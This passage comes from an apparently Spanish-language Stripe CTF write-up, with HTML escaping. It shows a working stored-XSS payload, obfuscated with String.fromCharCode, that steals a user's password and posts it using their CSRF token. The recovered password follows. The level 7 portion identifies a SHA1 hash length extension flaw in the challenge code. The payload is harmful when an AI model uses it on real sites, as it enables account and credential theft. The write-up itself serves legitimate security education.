&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;});&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Mediante la petición a user_info, se obtiene la contraseña y con ella se realiza una petición de publicar un mensaje extrayendo el valor del token. Además, como la contraseña del usuario contiene caracteres no permitidos ( &#39; y “), nos lo dicen en la descripción, se reemplazan&amp;nbsp; por otro código.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Finalmente hay que codificar el código jquery para evitar problemas con las comillas y se envía la siguiente petición POST:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;testing&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;amp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=}]&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;lt&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;/script&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;eval(String.fromCharCode(36, 46, 97, 106, 97, 120, 40, 123, 116, 121, 112, 101, 58, 32, 39, 71, 69, 84, 39, 44, 117, 114, 108, 58, 32, 39, 117, 115, 101, 114, 95, 105, 110, 102, 111, 39, 44, 32, 115, 117, 99, 99, 101, 115, 115, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 109, 115, 103, 41, 123, 32, 118, 97, 114, 32, 99, 115, 114, 102, 32, 61, 36, 40, 39, 91, 110, 97, 109, 101, 61, 95, 99, 115, 114, 102, 93, 39, 41, 46, 118, 97, 108, 40, 41, 59, 32, 118, 97, 114, 32, 109, 115, 103, 50, 61, 32, 109, 115, 103, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 34, 47, 103, 44, 32, 39, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 39, 41, 59, 32, 118, 97, 114, 32, 109, 115, 103, 51, 61, 109, 115, 103, 50, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 39, 47, 103, 44, 32, 39, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 101, 39, 41, 59, 32, 36, 46, 97, 106, 97, 120, 40, 123, 32, 116, 121, 112, 101, 58, 32, 39, 80, 79, 83, 84, 39, 44, 32, 117, 114, 108, 58, 32, 39, 97, 106, 97, 120, 47, 112, 111, 115, 116, 115, 39, 44, 32, 100, 97, 116, 97, 58, 32, 123, 32, 39, 116, 105, 116, 108, 101, 39, 58, 32, 39, 116, 105, 116, 117, 108, 111, 39, 44, 32, 39, 98, 111, 100, 121, 39, 58, 32, 109, 115, 103, 51, 44, 32, 39, 95, 99, 115, 114, 102, 39, 58, 32, 99, 115, 114, 102, 32, 125, 44, 32, 115, 117, 99, 99, 101, 115, 115, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 109, 115, 103, 41, 123, 32, 97, 108, 101, 114, 116, 40, 34, 102, 117, 99, 107, 32, 67, 83, 82, 70, 34, 41, 59, 125, 125, 41, 59, 125, 125, 41, 59))&amp;amp;lt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;gt&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;lt&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;gt&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; t &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[{&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;amp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;_csrf&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;Z&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;2FTINtE2srx4T5WwCFSv6zkOrRJo3NDUk8T5L5&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;2Fi27g&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;3D&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Cuando el usuario level07-password-holder se conecte obtendremos el password &#39;frHrvqmmtcXV&quot;.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 7:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Welcome to the penultimate level, Level 7.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter&#39;s first premium subscribers.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Log in to your account at https://level07-2.stripe-ctf.com/user-vnnjojikfr with username ctf and password password. You will find your API credentials after logging in. You can fetch the code for the level via&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;git clone https://level07-2.stripe-ctf.com/user-vnnjojikfr/level07-code, or you can read it below. You may find the sample API client in client.py particularly helpful.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Revisando el código destaca:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; _signature&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; message&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; h &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; hashlib&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;sha1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; h&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;api_secret &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; message&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;y viendo las peticiones que se realizan para hacer los pedidos:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;https&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;//level07-2.stripe-ctf.com/user-vnnjojikfr/orders&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
count&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;lat&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;waffle&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;liege&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0eeddfae9869844170ba0ceeb871c562152dd251&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;se extrae que es vulnerable a un ataque hash length extension. Para estos ataques hay una herramienta que nos hace todo el trabajo gracias a vnsecurity (&lt;a href=&quot;http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/&quot; style=&quot;color: #2970a6; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/&lt;/a&gt;). Solo hace falta conocer la longitud de la contraseña, mensaje original, hash original y el mensaje que queremos añadir. El tamaño de la contraseña lo podemos obtener del código, aunque un ataque de fuerza bruta hubiera valido:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; add_waffles&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;level_password&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; add_waffle&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;liege&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; level_password&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; add_waffle&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;dream&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; rand_alnum&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; add_waffle&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;veritaffle&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; rand_alnum&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
